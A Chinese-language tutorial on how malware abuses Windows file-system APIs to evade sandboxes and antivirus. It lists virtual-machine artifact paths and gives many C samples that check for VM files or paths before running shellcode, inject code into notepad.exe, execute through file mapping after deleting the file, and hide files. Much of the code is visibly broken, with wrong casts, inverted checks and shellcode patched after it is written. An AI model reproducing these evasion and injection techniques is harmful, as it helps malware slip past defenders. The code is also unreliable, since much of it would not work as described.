文件系统

描述

文件系统是一种用于管理磁盘空间和存储文件的数据结构和算法,它 决定了文件的组织方式、命名规则、访问权限等。Windows操作系统支持 多种文件系统,其中最常见的是NTFS(New Technology File System), 它是Windows的默认文件系统,具有高性能、高安全性、高可靠性等特点。

文件系统中的函数是一些用于操作文件或磁盘的API(Application Programming Interface),它们可以让程序员或用户方便地对文件进行 创建、删除、读写、移动、重命名等操作。通过文件系统中的函数,攻 击者可以给自己带来如下好处:
通过文件系统中的函数,攻击者可以访问或修改目标系统中的敏感 文件,从而窃取或破坏数据
通过文件系统中的函数,攻击者可以隐藏自己的恶意文件或代码, 从而逃避杀软的扫描或删除
通过文件系统中的函数,攻击者可以利用文件系统的漏洞或特性, 从而提升自己的权限或执行任意代码

需要检测的文件和路径

探测路径
常规c:\[60 random hex symbols]
c:\take_screenshot.ps1
c:\loaddll.exe
c:\email.doc
c:\email.htm
c:\123\email.doc
c:\123\email.docx
c:\a\foobar.bmp
c:\a\foobar.doc
c:\a\foobar.gif
c:\symbols\aagmmc.pdb
Parallelsc:\windows\system32\drivers\prleth.sys
c:\windows\system32\drivers\prleth.sys
c:\windows\system32\drivers\prlmouse.sys
c:\windows\system32\drivers\prlvideo.sys
c:\windows\system32\drivers\prltime.sys
c:\windows\system32\drivers\prl_pv32.sys
c:\windows\system32\drivers\prl_paravirt_32.sys
VirtualBoxc:\windows\system32\drivers\VBoxMouse.sys
c:\windows\system32\drivers\VBoxGuest.sys
c:\windows\system32\drivers\VBoxSF.sys
c:\windows\system32\drivers\VBoxVideo.sys
c:\windows\system32\vboxdisp.dll
c:\windows\system32\vboxhook.dll
c:\windows\system32\vboxmrxnp.dll
c:\windows\system32\vboxogl.dll
c:\windows\system32\vboxoglarrayspu.dll
c:\windows\system32\vboxoglcrutil.dll
c:\windows\system32\vboxoglerrorspu.dll
c:\windows\system32\vboxoglfeedbackspu.dll
c:\windows\system32\vboxoglpackspu.dll
c:\windows\system32\vboxoglpassthroughspu.dll
c:\windows\system32\vboxservice.exe
c:\windows\system32\vboxtray.exe
c:\windows\system32\VBoxControl.exe
%PROGRAMFILES%\oracle\virtualbox guest
additions\
VirtualPCc:\windows\system32\drivers\vmsrvc.sys
c:\windows\system32\drivers\vpc-s3.sys
VMwarec:\windows\system32\drivers\vmmouse.sys
c:\windows\system32\drivers\vmnet.sys
c:\windows\system32\drivers\vmxnet.sys
c:\windows\system32\drivers\vmhgfs.sys
c:\windows\system32\drivers\vmx86.sys
c:\windows\system32\drivers\hgfs.sys
%PROGRAMFILES%\VMware\

1.检查特定文件

恶意软件可以检测特定文件是否存在,如果存在便不会运行,以绕过安全软件的检测或在沙箱中执行。
以使用GetFileAttributes函数为例:
#include <windows.h>

// 定义一个恶意代码,例如弹出一个消息框

char code[] =

"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";

int main()

{

 // 获取目标文件名,例如notepad.exe

 char* filename = "notepad.exe";

 // 打开目标文件并获取句柄

 HANDLE hFile = CreateFile((LPCWSTR)filename, GENERIC_READ| GENERIC_WRITE, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);

 // 检测特定文件,如system32\drivers\vmhgfs.sys,是否存在

 char* vmfile ="C:\\Windows\\System32\\drivers\\vmhgfs.sys";

 DWORD attr = GetFileAttributes((LPCWSTR)vmfile);

 // 如果特定文件不存在,则继续执行恶意代码

 if (attr == INVALID_FILE_ATTRIBUTES)

 {

 // 修改或执行目标文件中的内容,例如在末尾插入恶意代码

 DWORD size = GetFileSize(hFile, NULL);

 SetFilePointer(hFile, size, NULL, FILE_BEGIN);

 WriteFile(hFile, code, sizeof(code), NULL, NULL);

 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数

 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");

 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");

 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";

 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");

 // 执行修改后的目标文件中的恶意代码

 ((void(*)())code)();

 }

 // 关闭文件句柄

 CloseHandle(hFile);

return 0;

}
以FindFirstFileW函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 构造一个包含特定文件名的字符串
 wchar_t* vmfile =L"C:\\Windows\\System32\\drivers\\vmhgfs.sys";
 // 调用FindFirstFileW使用该字符串作为参数,并接收一个WIN32_FIND_DATAW结构体的指针
 WIN32_FIND_DATAW findData;
 HANDLE hFind = FindFirstFileW(vmfile, &findData);
 // 检查返回值是否为INVALID_HANDLE_VALUE,如果是,则表示没有找到特定文件
 if (hFind == INVALID_HANDLE_VALUE)
 {
 // 如果没有找到特定文件,则继续运行恶意代码
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的恶意代码
 ((void(*)())(DWORD)code)();
 }
 else
 {
 // 如果找到了特定文件,则不运行恶意代码,而是退出或执行其他操作
 // 关闭搜索句柄
 FindClose(hFind);
 return 0;
 }
 return 0;
}

2.检查特定目录

虚拟环境中存在很多特定于此类系统的目录,这些目录不存在于未安装虚拟环境的普通主机系统上,恶意软件可以利用这种区别来规避。
以GetFileAttributes函数为例:
BOOL is_DirectoryExists(TCHAR* szPath)
{
    DWORD dwAttrib = GetFileAttributes(szPath);
    return (dwAttrib != INVALID_FILE_ATTRIBUTES) && (dwAttrib & FILE_ATTRIBUTE_DIRECTORY);
}

/*
Check against VMware blacklisted directory
*/
BOOL vmware_dir()
{
    TCHAR szProgramFile[MAX_PATH];
    TCHAR szPath[MAX_PATH] = _T("");
    TCHAR szTarget[MAX_PATH] = _T("VMware\\");
    if (IsWoW64())
        ExpandEnvironmentStrings(_T("%ProgramW6432%"), szProgramFile, ARRAYSIZE(szProgramFile));
    else
        SHGetSpecialFolderPath(NULL, szProgramFile, CSIDL_PROGRAM_FILES, FALSE);
    PathCombine(szPath, szProgramFile, szTarget);
    return is_DirectoryExists(szPath);
}

3.检查可执行文件完整路径

某些虚拟环境会从特定路径执行可执行文件,恶意软件可以通过对比完整路径来达到规避的目的。
以GetModuleFileName函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取自身模块的句柄
 HMODULE hModule = GetModuleHandle(NULL);
 // 使用模块句柄获取自身可执行文件的完整路径,并存储到一个缓冲区中
 wchar_t currentProcessPath[MAX_PATH + 1];
 GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH +1);
 CharUpperW(currentProcessPath);
 // 检查缓冲区中的字符串是否包含可疑的字符串
 if (!wcsstr(currentProcessPath, L"vmware")|| !wcsstr(currentProcessPath, L"sandbox")|| !wcsstr(currentProcessPath, L"debugger"))
 {
 // 如果存在可疑的字符串,则不运行恶意代码,而是退出或执行其他操作
 return 0;
 }
 else
 {
 // 如果不存在可疑的字符串,则继续运行恶意代码
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA
函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的恶意代码
 ((void(*)())(char*)code)();
 }
 return 0;
}
以GetProcessImageFileNameA/W函数为例:
#include <windows.h>
#include <psapi.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取自身进程的句柄
 HANDLE hProcess = GetCurrentProcess();
 // 使用进程句柄获取自身可执行文件的完整路径,并存储到一个缓冲区中
 char buffer[MAX_PATH];
 DWORD size = MAX_PATH;
 GetProcessImageFileNameA(hProcess, buffer, size);
 // 检查缓冲区中的字符串是否包含可疑的字符串
 if (strstr(buffer, "vmware") || strstr(buffer, "sandbox")|| strstr(buffer, "debugger"))
 {
 // 如果存在可疑的字符串,则不运行恶意代码,而是退出或执行其他操作
 return 0;
 }
 else
 {
 // 如果不存在可疑的字符串,则继续运行恶意代码
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的恶意代码
 ((void(*)())(char*)code)();
 }
 return 0;
}
以QueryFullProcessImageName函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取自身进程的句柄
 HANDLE hProcess = GetCurrentProcess();
 // 使用进程句柄获取自身可执行文件的完整路径,并存储到一个缓冲区中
 char buffer[MAX_PATH];
 DWORD size = MAX_PATH;
 QueryFullProcessImageNameA(hProcess, 0, buffer, &size);
 // 检查缓冲区中的字符串是否符合预期,例如是否与自身文件名一致,是否包含合法的目录和扩展名等
 if (strcmp(buffer,"C:\\Windows\\System32\\malware.exe") != 0)
 {
 // 如果不符合预期,则不运行恶意代码,而是退出或执行其他操作
 return 0;
 }
 else
 {
 // 如果符合预期,则继续运行恶意代码
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的恶意代码
 ((void(*)())(DWORD)code)();
 }
 return 0;
}

4.检查可执行文件执行目录

某些虚拟环境会从特定的目录执行可执行文件,不过该方法只是检查完整应用程序路径中是否存在特定字符串的特殊情况,与第3种方法几乎如出一辙,而且不怎么常用,可以优先考虑第三种方法。
C 代码:http://web.archive.org/web/20101026233743/http://evilcry.netsons.org/OC0/code/EmulationAwareness.c
Python代码:

from lib.cuckoo.common.abstracts import Signature

class SandboxJoeAnubisDetectFiles(Signature):
    name = "antisandbox_joe_anubis_files"
    description = "Detects Joe or Anubis Sandboxes through the presence of a file"
    severity = 3
    categories = ["anti-sandbox"]
    authors = ["Kevin Ross"]
    minimum = "0.5"

    def run(self):
        indicators = [
            "C\:\\\\sample\.exe$",
            "C\:\\\\InsideTm\\\\.*",
        ]

        for indicator in indicators:
            if self.check_file(pattern=indicator, regex=True):
                return True

        return False

5.检查物理磁盘驱动器的根目录

恶意软件通过检查环境中的物理磁盘驱动器的根目录中是否存在具有特定名称的可执行文件来达到规避的目的。
以GetFileAttributes函数为例:
int pafish_exists_file(char * filename) {
    DWORD res = INVALID_FILE_ATTRIBUTES;
    if (pafish_iswow64() == TRUE) {
        void *old = NULL;
        // Disable redirection immediately prior to calling GetFileAttributes.
        if (pafish_disable_wow64_fs_redirection(&old) ) {
            res = GetFileAttributes(filename);
            // Ignoring MSDN recommendation of exiting if this call fails.
            pafish_revert_wow64_fs_redirection(old);
        }
    }
    else {
        res = GetFileAttributes(filename);
    }
    return (res != INVALID_FILE_ATTRIBUTES) ? TRUE : FALSE;
}

int gensandbox_common_names() {
    DWORD dwSize = MAX_PATH;
    char szLogicalDrives[MAX_PATH] = {0};
    DWORD dwResult = GetLogicalDriveStrings(dwSize,szLogicalDrives);
    BOOL exists;

    if (dwResult > 0 && dwResult <= MAX_PATH)
    {
        char* szSingleDrive = szLogicalDrives;
        char filename[MAX_PATH] = {0};
        while(*szSingleDrive)
        {
            if (GetDriveType(szSingleDrive) != DRIVE_REMOVABLE ) {
                snprintf(filename, MAX_PATH, "%ssample.exe",szSingleDrive);
                exists = pafish_exists_file(filename);
                if (exists) return TRUE;
                
                snprintf(filename, MAX_PATH, "%smalware.exe",szSingleDrive);
                exists = pafish_exists_file(filename);
                if (exists) return TRUE;
            }

            szSingleDrive += strlen(szSingleDrive) + 1;
        }
    }

    return FALSE;
}

6.文件映射

文件映射是一种将文件内容映射到进程虚拟内存的技术,它可以让不同的进程共享数据,也可以让程序直接操作内存中的文件,而不需要读写磁盘。文件映射的原理是利用Windows的内存管理机制,创建一个文件映射对象,然后将这个对象映射到一个或多个进程的虚拟地址空间中,形成一个或多个视图。这样,对视图的任何修改都会反映到文件中,而对文件的任何修改也会反映到视图中。
恶意软件可以通过文件映射绕过一些基于文件扫描的反病毒技术,例如基于特征码、校验和、信息熵等的检测方法。这是因为文件映射后的文件在内存中的结构和内容可能与原始文件不同,例如可以使用加密、压缩、混淆等技术来改变文件的特征。另外,文件映射也可以绕过一些基于内存扫描的反病毒技术,例如基于重定位、RunPE、API调用等的检测方法。这是因为文件映射后的文件可以自定义加载地址和执行流程,而不需要依赖系统的加载器和API函数。因此,文件映射是一种比较隐蔽和高效的免杀技术。
以CreateFileMappingA函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取目标文件名,例如notepad.exe
 char* filename = "notepad.exe";
 // 打开目标文件并获取句柄
 HANDLE hFile = CreateFile((LPCWSTR)filename, GENERIC_READ| GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
 // 获取目标文件的大小
 DWORD size = GetFileSize(hFile, NULL);
 // 调用CreateFileMappingA创建一个文件映射对象,并指定要映射的文件大小和保护属性
 HANDLE hMap = CreateFileMapping(hFile, NULL,
PAGE_READWRITE, 0, size + sizeof(code), NULL);
 // 调用MapViewOfFile将文件映射对象映射到当前进程的地址空间中,并获取映射地址
 LPVOID pMem = MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0,
0);
 // 修改映射地址处的文件内容,例如在末尾插入恶意代码
 memcpy((char*)pMem + size, code, sizeof(code));
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 调用UnmapViewOfFile取消文件映射对象的映射,并关闭句柄
 UnmapViewOfFile(pMem);
 CloseHandle(hMap);
 CloseHandle(hFile);
 // 调用CreateProcess执行修改后的目标文件,并传递一些参数或环境变量
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 ZeroMemory(&si, sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory(&pi, sizeof(pi));
 CreateProcess((LPCWSTR)filename, NULL, NULL, NULL, FALSE,0, NULL, NULL, &si, &pi);
 // 关闭句柄
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
 return 0;
}
恶意软件还可以调用DeleteFileA函数删除目标文件,并返回成功的结果。当目标文件被删除时,它实际上并没有从磁盘上消失,而是被标记为删
除,在关闭最后一个句柄之前不会真正删除。因此,恶意软件仍然可以通过之前创建的文件映射对象来访问和执行修改后的文件内容。
示例代码如下:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取目标文件名,例如notepad.exe
 char* filename = "notepad.exe";
 // 打开目标文件并获取句柄
 HANDLE hFile = CreateFile((LPCWSTR)filename, GENERIC_READ| GENERIC_WRITE, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
 // 获取目标文件的大小
 DWORD size = GetFileSize(hFile, NULL);
 // 调用CreateFileMappingA创建一个文件映射对象,并指定要映射的文件大小和保护属性
 HANDLE hMap = CreateFileMapping(hFile, NULL,PAGE_READWRITE, 0, size + sizeof(code), NULL);
 // 调用MapViewOfFile将文件映射对象映射到当前进程的地址空间中,并获取映射地址
 LPVOID pMem = MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0,
0);
 // 修改映射地址处的文件内容,例如在末尾插入恶意代码
 memcpy((char*)pMem + size, code, sizeof(code));
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 调用UnmapViewOfFile取消文件映射对象的映射,并关闭句柄
 UnmapViewOfFile(pMem);
 CloseHandle(hMap);
 // 调用DeleteFileA删除目标文件,并返回成功的结果
 DeleteFile((LPCWSTR)filename);
 // 通过之前创建的文件映射对象来访问和执行修改后的文件内容
 ((void(*)())pMem)();
 // 关闭句柄
 CloseHandle(hFile);
 return 0;
}

7.修改资源

恶意软件通过加载资源到内存或修改资源来达到规避的目的。
例如LoadResource函数可以通过返回的资源句柄来加载资源到内存中:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取目标文件名,例如notepad.exe
 char* filename = "notepad.exe";
 // 打开目标文件并获取模块句柄
 HMODULE hModule = LoadLibrary((LPCWSTR)filename);
 // 查找目标文件中的某个资源类型和名称,并返回资源句柄
 // 例如查找RT_RCDATA类型和MAKEINTRESOURCE(1)名称的资源
 HRSRC hRes = FindResource(hModule, MAKEINTRESOURCE(1),RT_RCDATA);
 // 使用资源句柄加载资源到内存中,并返回一个全局内存句柄
 HGLOBAL hMem = LoadResource(hModule, hRes);
 // 使用全局内存句柄获取资源数据的指针,并获取资源数据的大小
 LPVOID pMem = LockResource(hMem);
 DWORD size = SizeofResource(hModule, hRes);
 // 修改或执行资源数据中的内容,例如在末尾插入恶意代码
 memcpy((char*)pMem + size, code, sizeof(code));
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的资源数据中的恶意代码
 ((void(*)())pMem)();
 // 释放模块句柄并关闭文件句柄
 FreeLibrary(hModule);
 return 0;
}
SetFileAttributesA函数可以设置指定文件或目录的属性。恶意软件可以调用SetFileAttributesA函数使用文件句柄和属性值设置目标文件
的属性,例如FILE_ATTRIBUTE_HIDDEN或FILE_ATTRIBUTE_SYSTEM,使其在普通的目录列表中不可见或被系统保护。然后就可以修改或执行目标文件中的内容,例如插入自己的代码或修改原有的代码。这样,恶意软件就实现了在不触发杀毒软件的情况下运行自己的代码,而不需要在磁盘上创建任何文件。
示例代码如下:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取目标文件名,例如notepad.exe
 char* filename = "notepad.exe";
 // 打开目标文件并获取句柄
 HANDLE hFile = CreateFile((LPCWSTR)filename, GENERIC_READ| GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
 // 使用文件句柄和属性值设置目标文件的属性,例如
FILE_ATTRIBUTE_HIDDEN或FILE_ATTRIBUTE_SYSTEM SetFileAttributes((LPCWSTR)filename,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
 // 修改或执行目标文件中的内容,例如在末尾插入恶意代码
 DWORD size = GetFileSize(hFile, NULL);
 SetFilePointer(hFile, size, NULL, FILE_BEGIN);
 WriteFile(hFile, code, sizeof(code), NULL, NULL);
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的目标文件中的恶意代码
 ((void(*)())code)();
 // 关闭文件句柄
 CloseHandle(hFile);
 return 0;
}

8.获取资源

恶意软件可以通过获取环境中的资源内容来达到规避的目的。
例如SizeOfResource函数可以获取指定资源的大小(以字节为单位)。恶意软件利用该函数可以绕过一些基于资源大小分析的安全软件。
示例代码如下:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取目标文件名,例如notepad.exe
 char* filename = "notepad.exe";
 // 打开目标文件并获取模块句柄
 HMODULE hModule = LoadLibrary((LPCWSTR)filename);
 // 查找目标文件中的某个资源类型和名称,并返回资源句柄
 // 例如查找RT_RCDATA类型和MAKEINTRESOURCE(1)名称的资源
 HRSRC hRes = FindResource(hModule, MAKEINTRESOURCE(1),RT_RCDATA);
 // 使用资源句柄获取资源数据的大小(以字节为单位)
 DWORD size = SizeOfResource(hModule, hRes);
 // 使用资源句柄加载资源到内存中,并返回一个全局内存句柄
 HGLOBAL hMem = LoadResource(hModule, hRes);
 // 使用全局内存句柄获取资源数据的指针
 LPVOID pMem = LockResource(hMem);
 // 修改或执行资源数据中的内容,例如在末尾插入恶意代码
 memcpy((char*)pMem + size, code, sizeof(code));
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的资源数据中的恶意代码
 ((void(*)())pMem)();
 // 释放模块句柄并关闭文件句柄
 FreeLibrary(hModule);
 return 0;
}
LockResource函数可以获取指定资源在内存中的第一个字节的指针。恶意软件可以利用LockResource函数来绕过一些基于资源内容分析的安
全软件。
示例代码如下:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
 // 获取目标文件名,例如notepad.exe
 char* filename = "notepad.exe";
 // 打开目标文件并获取模块句柄
 HMODULE hModule = LoadLibrary((LPCWSTR)filename);
 // 查找目标文件中的某个资源类型和名称,并返回资源句柄
 // 例如查找RT_RCDATA类型和MAKEINTRESOURCE(1)名称的资源
 HRSRC hRes = FindResource(hModule, MAKEINTRESOURCE(1),RT_RCDATA);
 // 使用资源句柄加载资源到内存中,并返回一个全局内存句柄
 HGLOBAL hMem = LoadResource(hModule, hRes);
 // 使用全局内存句柄获取资源数据的指针
 LPVOID pMem = LockResource(hMem);
 // 修改或执行资源数据中的内容,例如插入自己的代码或修改原有的代码
 memcpy(pMem, code, sizeof(code));
 // 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
 *(DWORD*)(code + 1) =(DWORD)GetModuleHandleA("user32.dll");
 *(DWORD*)(code + 6) =(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA");
 *(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
 *(DWORD*)(code + 21) =(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
 // 执行修改后的资源数据中的恶意代码
 ((void(*)())pMem)();
 // 释放模块句柄并关闭文件句柄
 FreeLibrary(hModule);
 return 0;
}